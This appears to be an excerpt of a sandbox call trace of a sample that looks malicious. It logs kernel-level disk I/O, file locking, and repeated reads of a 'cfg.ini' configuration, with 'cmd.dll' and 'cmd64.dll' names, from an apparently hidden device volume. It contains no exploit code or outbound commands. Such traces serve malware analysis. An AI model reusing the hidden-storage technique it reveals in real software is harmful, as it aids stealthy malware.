(Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.160] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.160] KeEnterCriticalRegion () [0124.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.160] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.160] KeLeaveCriticalRegion () [0124.160] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.160] KeEnterCriticalRegion () [0124.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.160] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.160] IdePortDispatch () returned 0x103 [0124.160] KeWaitForMutexObject () returned 0x0 [0124.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.160] KeLeaveCriticalRegion () [0124.160] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.161] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.161] KeEnterCriticalRegion () [0124.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.161] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003505000 [0124.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.161] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.161] IdePortDispatch () returned 0x103 [0124.161] KeWaitForMutexObject () returned 0x0 [0124.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.161] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.161] IdePortDispatch () returned 0x103 [0124.161] KeWaitForMutexObject () returned 0x0 [0124.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.161] KeLeaveCriticalRegion () [0124.161] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.162] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.162] KeEnterCriticalRegion () [0124.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.162] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.162] KeLeaveCriticalRegion () [0124.162] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.162] KeEnterCriticalRegion () [0124.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.162] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.162] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.162] KeLeaveCriticalRegion () [0124.162] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.162] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.162] KeEnterCriticalRegion () [0124.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.162] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.162] KeLeaveCriticalRegion () [0124.162] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.162] ReleaseMutex (hMutex=0xf0) returned 1 [0124.162] Sleep (dwMilliseconds=0x124f80) [0124.176] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.176] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.176] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.176] KeEnterCriticalRegion () [0124.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.177] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.177] IdePortDispatch () returned 0x103 [0124.177] KeWaitForMutexObject () returned 0x0 [0124.177] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.177] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.177] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.177] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.177] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.177] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb440 [0124.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.177] KeLeaveCriticalRegion () [0124.177] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.177] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.177] KeEnterCriticalRegion () [0124.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.177] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.177] KeLeaveCriticalRegion () [0124.177] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.177] KeEnterCriticalRegion () [0124.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.177] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.177] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.177] IdePortDispatch () returned 0x103 [0124.177] KeWaitForMutexObject () returned 0x0 [0124.177] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.177] KeLeaveCriticalRegion () [0124.178] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.178] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.178] KeEnterCriticalRegion () [0124.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350a000 [0124.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.178] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.178] IdePortDispatch () returned 0x103 [0124.178] KeWaitForMutexObject () returned 0x0 [0124.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.178] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.178] IdePortDispatch () returned 0x103 [0124.178] KeWaitForMutexObject () returned 0x0 [0124.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.178] KeLeaveCriticalRegion () [0124.178] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.179] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.179] KeEnterCriticalRegion () [0124.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.179] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.179] KeLeaveCriticalRegion () [0124.179] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.179] KeEnterCriticalRegion () [0124.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.179] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.179] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.179] KeLeaveCriticalRegion () [0124.179] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.179] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.179] KeEnterCriticalRegion () [0124.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.179] ExFreePoolWithTag (P=0xfffffa8003beb440, Tag=0x0) [0124.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.179] KeLeaveCriticalRegion () [0124.179] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.179] ReleaseMutex (hMutex=0xf0) returned 1 [0124.179] Sleep (dwMilliseconds=0x124f80) [0124.193] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.193] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.193] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.193] KeEnterCriticalRegion () [0124.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.194] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.194] IdePortDispatch () returned 0x103 [0124.194] KeWaitForMutexObject () returned 0x0 [0124.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.194] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.194] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.194] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.194] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.194] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.194] KeLeaveCriticalRegion () [0124.194] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.194] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.194] KeEnterCriticalRegion () [0124.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.194] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.194] KeLeaveCriticalRegion () [0124.194] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.194] KeEnterCriticalRegion () [0124.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.194] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.194] IdePortDispatch () returned 0x103 [0124.194] KeWaitForMutexObject () returned 0x0 [0124.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.195] KeLeaveCriticalRegion () [0124.195] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.195] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.195] KeEnterCriticalRegion () [0124.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.195] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350f000 [0124.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.195] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.195] IdePortDispatch () returned 0x103 [0124.195] KeWaitForMutexObject () returned 0x0 [0124.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.195] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.195] IdePortDispatch () returned 0x103 [0124.195] KeWaitForMutexObject () returned 0x0 [0124.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.195] KeLeaveCriticalRegion () [0124.195] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.196] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.196] KeEnterCriticalRegion () [0124.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.196] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.196] KeLeaveCriticalRegion () [0124.196] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.196] KeEnterCriticalRegion () [0124.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.196] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.196] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.196] KeLeaveCriticalRegion () [0124.196] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.196] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.196] KeEnterCriticalRegion () [0124.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.196] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.196] KeLeaveCriticalRegion () [0124.196] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.196] ReleaseMutex (hMutex=0xf0) returned 1 [0124.196] Sleep (dwMilliseconds=0x124f80) [0124.210] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.210] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.210] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.210] KeEnterCriticalRegion () [0124.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.210] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.210] IdePortDispatch () returned 0x103 [0124.210] KeWaitForMutexObject () returned 0x0 [0124.210] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.210] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.210] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.210] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.210] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.210] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef230 [0124.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.210] KeLeaveCriticalRegion () [0124.210] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.210] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.210] KeEnterCriticalRegion () [0124.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.210] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.210] KeLeaveCriticalRegion () [0124.210] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.210] KeEnterCriticalRegion () [0124.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.211] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.211] IdePortDispatch () returned 0x103 [0124.211] KeWaitForMutexObject () returned 0x0 [0124.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.211] KeLeaveCriticalRegion () [0124.211] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.211] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.211] KeEnterCriticalRegion () [0124.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.211] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003514000 [0124.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.211] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) 